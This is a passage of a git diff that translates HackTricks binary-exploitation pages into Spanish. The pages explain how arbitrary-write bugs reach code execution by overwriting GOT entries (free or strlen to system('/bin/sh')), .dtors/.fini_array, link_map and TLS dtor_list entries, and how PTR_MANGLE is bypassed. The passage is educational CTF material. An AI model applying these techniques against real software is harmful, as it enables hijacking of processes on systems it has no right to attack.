trabaja en estrecha colaboración con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al enlazador dinámico para resolver la dirección de la función si aún no se ha resuelto. Después de que se resuelve la dirección, se almacena en la **GOT**. -**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. +**Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. **Las entradas de la PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del enlazador dinámico. -## Get Execution +## Obtener Ejecución -### Check the GOT +### Verificar la GOT -Get the address to the GOT table with: **`objdump -s -j .got ./exec`** +Obtén la dirección de la tabla GOT con: **`objdump -s -j .got ./exec`** ![](<../../images/image (121).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` +Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en la **GOT**: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`** para ver la tabla got: ![](<../../images/image (496).png>) ### GOT2Exec -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. +En un binario, la GOT tiene las **direcciones a las funciones o** a la **sección PLT** que cargará la dirección de la función. El objetivo de esta escritura arbitraria es **sobrescribir una entrada de la GOT** de una función que se va a ejecutar más tarde **con** la **dirección** de la PLT de la **función** **`system`** por ejemplo. -Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +Idealmente, deberías **sobrescribir** la **GOT** de una **función** que va a ser **llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función del sistema). -If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. +Si **`system`** **no es utilizado** por el binario, la función del sistema **no** tendrá una entrada en la PLT. En este escenario, necesitarás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección. -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`** -## libc GOT entries +## Entradas de la GOT de libc -The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +La **GOT de libc** generalmente se compila con **RELRO parcial**, lo que la convierte en un buen objetivo para esto suponiendo que sea posible averiguar su dirección ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). -Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. +Las funciones comunes de la libc van a llamar a **otras funciones internas** cuya GOT podría ser sobrescrita para obtener ejecución de código. -Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +Encuentra [**más información sobre esta técnica aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). ### **Free2system** -In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. +En la explotación de heap en CTFs es común poder controlar el contenido de los chunks y en algún momento incluso sobrescribir la tabla GOT. Un truco simple para obtener RCE si no hay gadgets disponibles es sobrescribir la dirección GOT de `free` para apuntar a `system` y escribir dentro de un chunk `"/bin/sh"`. De esta manera, cuando este chunk se libera, ejecutará `system("/bin/sh")`. ### **Strlen2system** -Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. +Otra técnica común es sobrescribir la dirección GOT de **`strlen`** para apuntar a **`system`**, así si esta función es llamada con entrada del usuario es posible pasar la cadena `"/bin/sh"` y obtener un shell. -Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. +Además, si `puts` se utiliza con entrada del usuario, es posible sobrescribir la dirección GOT de `strlen` para apuntar a `system` y pasar la cadena `"/bin/sh"` para obtener un shell porque **`puts` llamará a `strlen` con la entrada del usuario**. -## **One Gadget** +## **Un Gadget** {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Abusing GOT from Heap** +## **Abusando de la GOT desde Heap** -A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ -Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. +Una forma común de obtener RCE a partir de una vulnerabilidad de heap es abusar de un fastbin para que sea posible agregar la parte de la tabla GOT en el fast bin, de modo que cada vez que ese chunk se asigne será posible **sobrescribir el puntero de una función, generalmente `free`**.\ +Luego, apuntando `free` a `system` y liberando un chunk donde se escribió `/bin/sh\x00` se ejecutará un shell. -It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** +Es posible encontrar un [**ejemplo aquí**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** -## **Protections** +## **Protecciones** -The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: +La protección de **Full RELRO** está destinada a proteger contra este tipo de técnica resolviendo todas las direcciones de las funciones cuando se inicia el binario y haciendo que la **tabla GOT sea de solo lectura** después de eso: {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -## References +## Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 31e45fba4..333dd0977 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -5,52 +5,48 @@ ## .dtors > [!CAUTION] -> Nowadays is very **weird to find a binary with a .dtors section!** +> ¡Hoy en día es muy **raro encontrar un binario con una sección .dtors!** -The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ -The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. - -Get the address of this section with: +Los destructores son funciones que se **ejecutan antes de que el programa termine** (después de que la función `main` retorna).\ +Las direcciones de estas funciones se almacenan dentro de la sección **`.dtors`** del binario y, por lo tanto, si logras **escribir** la **dirección** en un **shellcode** en **`__DTOR_END__`**, eso será **ejecutado** antes de que el programa termine. +Obtén la dirección de esta sección con: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` - -Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +Normalmente encontrarás los marcadores **DTOR** **entre** los valores `ffffffff` y `00000000`. Así que si solo ves esos valores, significa que **no hay ninguna función registrada**. Así que **sobrescribe** el **`00000000`** con la **dirección** al **shellcode** para ejecutarlo. > [!WARNING] -> Ofc, you first need to find a **place to store the shellcode** in order to later call it. +> Por supuesto, primero necesitas encontrar un **lugar para almacenar el shellcode** para poder llamarlo más tarde. ## **.fini_array** -Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. - +Esencialmente, esta es una estructura con **funciones que serán llamadas** antes de que el programa termine, como **`.dtors`**. Esto es interesante si puedes llamar a tu **shellcode simplemente saltando a una dirección**, o en casos donde necesitas volver a **`main`** nuevamente para **explotar la vulnerabilidad una segunda vez**. ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +Nota que cuando se ejecuta una función de **`.fini_array`**, se pasa a la siguiente, por lo que no se ejecutará varias veces (previniendo bucles eternos), pero también solo te dará 1 **ejecución de la función** colocada aquí. -Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. +Nota que las entradas en **`.fini_array`** se llaman en orden **inverso**, así que probablemente quieras comenzar a escribir desde la última. -Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. +#### Bucle eterno -#### Eternal loop +Para abusar de **`.fini_array`** y obtener un bucle eterno, puedes [**ver lo que se hizo aquí**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Si tienes al menos 2 entradas en **`.fini_array`**, puedes: -In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - -- Use your first write to **call the vulnerable arbitrary write function** again -- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** - - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again. +- Usar tu primera escritura para **llamar a la función vulnerable de escritura arbitraria** nuevamente +- Luego, calcular la dirección de retorno en la pila almacenada por **`__libc_csu_fini`** (la función que está llamando a todas las funciones de **`.fini_array`**) y poner allí la **dirección de `__libc_csu_fini`** +- Esto hará que **`__libc_csu_fini`** se llame a sí mismo nuevamente ejecutando las funciones de **`.fini_array`** nuevamente, lo que llamará a la función WWW vulnerable 2 veces: una para **escritura arbitraria** y otra para sobrescribir nuevamente la **dirección de retorno de `__libc_csu_fini`** en la pila para llamarse a sí mismo nuevamente. > [!CAUTION] -> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. -> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. +> Nota que con [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** la sección **`.fini_array`** se vuelve **solo de lectura**. +> En versiones más nuevas, incluso con [**Partial RELRO**], la sección **`.fini_array`** también se vuelve **solo de lectura**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 97c286231..c9bf4c6ee 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -1,39 +1,38 @@ -# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers +# WWW2Exec - atexit(), Almacenamiento TLS y Otros Punteros Dañados {{#include ../../banners/hacktricks-training.md}} -## **\_\_atexit Structures** +## **\_\_atexit Estructuras** > [!CAUTION] -> Nowadays is very **weird to exploit this!** +> Hoy en día es muy **raro explotar esto!** -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`** es una función a la que se le **pasan otras funciones como parámetros.** Estas **funciones** serán **ejecutadas** al ejecutar un **`exit()`** o el **retorno** del **main**.\ +Si puedes **modificar** la **dirección** de cualquiera de estas **funciones** para que apunte a un shellcode, por ejemplo, **ganarás control** del **proceso**, pero esto es actualmente más complicado.\ +Actualmente, las **direcciones a las funciones** que se van a ejecutar están **ocultas** detrás de varias estructuras y, finalmente, la dirección a la que apuntan no son las direcciones de las funciones, sino que están **encriptadas con XOR** y desplazamientos con una **clave aleatoria**. Así que actualmente este vector de ataque **no es muy útil al menos en x86** y **x64_86**.\ +La **función de encriptación** es **`PTR_MANGLE`**. **Otras arquitecturas** como m68k, mips32, mips64, aarch64, arm, hppa... **no implementan la función de encriptación** porque **devuelve lo mismo** que recibió como entrada. Así que estas arquitecturas serían atacables por este vector. -You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) +Puedes encontrar una explicación detallada sobre cómo funciona esto en [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) ## link_map -As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. +Como se explicó [**en esta publicación**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), si el programa sale usando `return` o `exit()` se ejecutará `__run_exit_handlers()` que llamará a los destructores registrados. > [!CAUTION] -> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. - -The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): +> Si el programa sale a través de la función **`_exit()`**, llamará a la **syscall `exit`** y los manejadores de salida no se ejecutarán. Así que, para confirmar que `__run_exit_handlers()` se ejecuta, puedes establecer un punto de interrupción en él. +El código importante es ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): ```c ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; if (fini_array != NULL) - { - ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); - size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); +{ +ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); +size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); - while (sz-- > 0) - ((fini_t) array[sz]) (); - } - [...] +while (sz-- > 0) +((fini_t) array[sz]) (); +} +[...] @@ -41,198 +40,187 @@ if (fini_array != NULL) // This is the d_un structure ptype l->l_info[DT_FINI_ARRAY]->d_un type = union { - Elf64_Xword d_val; // address of function that will be called, we put our onegadget here - Elf64_Addr d_ptr; // offset from l->l_addr of our structure +Elf64_Xword d_val; // address of function that will be called, we put our onegadget here +Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` +Nota cómo `map -> l_addr + fini_array -> d_un.d_ptr` se utiliza para **calcular** la posición del **array de funciones a llamar**. -Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. +Hay un **par de opciones**: -There are a **couple of options**: - -- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code -- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. - - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array. - - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example. - -Following the previous code you can find another interesting section with the code: +- Sobrescribir el valor de `map->l_addr` para que apunte a un **falso `fini_array`** con instrucciones para ejecutar código arbitrario. +- Sobrescribir las entradas `l_info[DT_FINI_ARRAY]` y `l_info[DT_FINI_ARRAYSZ]` (que son más o menos consecutivas en memoria), para hacer que **apunten a una estructura `Elf64_Dyn` forjada** que hará que nuevamente **`array` apunte a una zona de memoria** controlada por el atacante. +- [**Este informe**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescribe `l_info[DT_FINI_ARRAY]` con la dirección de una memoria controlada en `.bss` que contiene un falso `fini_array`. Este array falso contiene **primero un** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** que se ejecutará y luego la **diferencia** entre la dirección de este **array falso** y el **valor de `map->l_addr`** para que `*array` apunte al array falso. +- Según la publicación principal de esta técnica y [**este informe**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so deja un puntero en la pila que apunta al `link_map` binario en ld.so. Con una escritura arbitraria es posible sobrescribirlo y hacer que apunte a un falso `fini_array` controlado por el atacante con la dirección a un [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md), por ejemplo. +Siguiendo el código anterior, puedes encontrar otra sección interesante con el código: ```c /* Next try the old-style destructor. */ ElfW(Dyn) *fini = map->l_info[DT_FINI]; if (fini != NULL) - DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); +DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` +En este caso, sería posible sobrescribir el valor de `map->l_info[DT_FINI]` apuntando a una estructura `ElfW(Dyn)` forjada. Encuentra [**más información aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). -In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). +## Sobrescritura de dtor_list de TLS-Storage en **`__run_exit_handlers`** -## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** - -As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered. - -Code from `_run_exit_handlers()`: +Como [**se explica aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), si un programa sale a través de `return` o `exit()`, ejecutará **`__run_exit_handlers()`** que llamará a cualquier función destructora registrada. +Código de `_run_exit_handlers()`: ```c /* Call all functions registered with `atexit' and `on_exit', - in the reverse of the order in which they were registered - perform stdio cleanup, and terminate program execution with STATUS. */ +in the reverse of the order in which they were registered +perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, - bool run_list_atexit, bool run_dtors) +bool run_list_atexit, bool run_dtors) { - /* First, call the TLS destructors. */ +/* First, call the TLS destructors. */ #ifndef SHARED - if (&__call_tls_dtors != NULL) +if (&__call_tls_dtors != NULL) #endif - if (run_dtors) - __call_tls_dtors (); +if (run_dtors) +__call_tls_dtors (); ``` - -Code from **`__call_tls_dtors()`**: - +Código de **`__call_tls_dtors()`**: ```c typedef void (*dtor_func) (void *); struct dtor_list //struct added { - dtor_func func; - void *obj; - struct link_map *map; - struct dtor_list *next; +dtor_func func; +void *obj; +struct link_map *map; +struct dtor_list *next; }; [...] /* Call the destructors. This is called either when a thread returns from the - initial function or when the process exits via the exit function. */ +initial function or when the process exits via the exit function. */ void __call_tls_dtors (void) { - while (tls_dtor_list) // parse the dtor_list chained structures - { - struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list - dtor_func func = cur->func; - PTR_DEMANGLE (func); // demangle the function ptr +while (tls_dtor_list) // parse the dtor_list chained structures +{ +struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list +dtor_func func = cur->func; +PTR_DEMANGLE (func); // demangle the function ptr - tls_dtor_list = tls_dtor_list->next; // next dtor_list structure - func (cur->obj); - [...] - } +tls_dtor_list = tls_dtor_list->next; // next dtor_list structure +func (cur->obj); +[...] +} } ``` +Para cada función registrada en **`tls_dtor_list`**, se descompone el puntero de **`cur->func`** y se llama con el argumento **`cur->obj`**. -For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. - -Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\ -Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.** - -Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits: +Usando la función **`tls`** de este [**fork de GEF**](https://github.com/bata24/gef), es posible ver que en realidad la **`dtor_list`** está muy **cerca** del **stack canary** y la **cookie PTR_MANGLE**. Así, con un desbordamiento en ella sería posible **sobrescribir** la **cookie** y el **stack canary**.\ +Sobrescribiendo la cookie PTR_MANGLE, sería posible **eludir la función `PTR_DEMANLE`** al configurarla en 0x00, lo que significará que el **`xor`** utilizado para obtener la dirección real es solo la dirección configurada. Luego, al escribir en la **`dtor_list`** es posible **encadenar varias funciones** con la **dirección** de la función y su **argumento**. +Finalmente, ten en cuenta que el puntero almacenado no solo se va a xorear con la cookie, sino que también se rotará 17 bits: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE ``` +Así que necesitas tener esto en cuenta antes de agregar una nueva dirección. -So you need to take this into account before adding a new address. +Encuentra un ejemplo en el [**post original**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). -Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). +## Otros punteros dañados en **`__run_exit_handlers`** -## Other mangled pointers in **`__run_exit_handlers`** - -This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called. - -Let's check more code of this function: +Esta técnica está [**explicada aquí**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) y depende nuevamente de que el programa **salga llamando a `return` o `exit()`** para que se llame a **`__run_exit_handlers()`**. +Veamos más código de esta función: ```c - while (true) - { - struct exit_function_list *cur; +while (true) +{ +struct exit_function_list *cur; - restart: - cur = *listp; +restart: +cur = *listp; - if (cur == NULL) - { - /* Exit processing complete. We will not allow any more - atexit/on_exit registrations. */ - __exit_funcs_done = true; - break; - } +if (cur == NULL) +{ +/* Exit processing complete. We will not allow any more +atexit/on_exit registrations. */ +__exit_funcs_done = true; +break; +} - while (cur->idx > 0) - { - struct exit_function *const f = &cur->fns[--cur->idx]; - const uint64_t new_exitfn_called = __new_exitfn_called; +while (cur->idx > 0) +{ +struct exit_function *const f = &cur->fns[--cur->idx]; +const uint64_t new_exitfn_called = __new_exitfn_called; - switch (f->flavor) - { - void (*atfct) (void); - void (*onfct) (int status, void *arg); - void (*cxafct) (void *arg, int status); - void *arg; +switch (f->flavor) +{ +void (*atfct) (void); +void (*onfct) (int status, void *arg); +void (*cxafct) (void *arg, int status); +void *arg; - case ef_free: - case ef_us: - break; - case ef_on: - onfct = f->func.on.fn; - arg = f->func.on.arg; - PTR_DEMANGLE (onfct); +case ef_free: +case ef_us: +break; +case ef_on: +onfct = f->func.on.fn; +arg = f->func.on.arg; +PTR_DEMANGLE (onfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - onfct (status, arg); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_at: - atfct = f->func.at; - PTR_DEMANGLE (atfct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +onfct (status, arg); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_at: +atfct = f->func.at; +PTR_DEMANGLE (atfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - atfct (); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_cxa: - /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), - we must mark this function as ef_free. */ - f->flavor = ef_free; - cxafct = f->func.cxa.fn; - arg = f->func.cxa.arg; - PTR_DEMANGLE (cxafct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +atfct (); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_cxa: +/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), +we must mark this function as ef_free. */ +f->flavor = ef_free; +cxafct = f->func.cxa.fn; +arg = f->func.cxa.arg; +PTR_DEMANGLE (cxafct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - cxafct (arg, status); - __libc_lock_lock (__exit_funcs_lock); - break; - } +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +cxafct (arg, status); +__libc_lock_lock (__exit_funcs_lock); +break; +} - if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) - /* The last exit function, or another thread, has registered - more exit functions. Start the loop over. */ - goto restart; - } +if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) +/* The last exit function, or another thread, has registered +more exit functions. Start the loop over. */ +goto restart; +} - *listp = cur->next; - if (*listp != NULL) - /* Don't free the last element in the chain, this is the statically - allocate element. */ - free (cur); - } +*listp = cur->next; +if (*listp != NULL) +/* Don't free the last element in the chain, this is the statically +allocate element. */ +free (cur); +} - __libc_lock_unlock (__exit_funcs_lock); +__libc_lock_unlock (__exit_funcs_lock); ``` +La variable `f` apunta a la **`estructura initial`** y dependiendo del valor de `f->flavor` se llamarán diferentes funciones.\ +Dependiendo del valor, la dirección de la función a llamar estará en un lugar diferente, pero siempre estará **demangled**. -The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ -Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**. +Además, en las opciones **`ef_on`** y **`ef_cxa`** también es posible controlar un **argumento**. -Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. +Es posible verificar la **`estructura initial`** en una sesión de depuración con GEF ejecutando **`gef> p initial`**. -It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. - -To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\ -You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). +Para abusar de esto, necesitas **leak o borrar la cookie `PTR_MANGLE`** y luego sobrescribir una entrada `cxa` en initial con `system('/bin/sh')`.\ +Puedes encontrar un ejemplo de esto en el [**blog original sobre la técnica**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). {{#include ../../banners/hacktricks-training.md}} diff --git 